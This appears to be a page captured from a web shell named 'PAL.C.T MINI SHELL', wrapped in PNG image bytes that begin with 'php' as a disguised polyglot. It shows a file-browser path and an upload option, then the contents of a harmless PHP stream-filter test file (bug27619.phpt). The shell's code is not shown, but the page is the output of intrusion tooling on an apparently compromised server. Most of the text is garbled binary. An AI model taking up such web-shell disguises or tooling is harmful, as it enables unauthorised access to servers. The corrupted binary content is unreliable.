php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/ext/standard/tests/file/
upload
files >> //php-7.1.11/ext/standard/tests/file/bug27619.phpt

--TEST--
Bug #27619 (filters not applied to pre-buffered data)
--FILE--
<?php
	$fp = tmpfile();
	fwrite($fp, "this is a lowercase string.\n");
	rewind($fp);

	/* Echo out the first four bytes 'this' without applying filter
	   Remainder will get sucked into the read buffer though. */
	echo fread($fp, 4);

	stream_filter_append($fp, "string.toupper");

	fpassthru($fp);
?>
--EXPECT--
this IS A LOWERCASE STRING.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`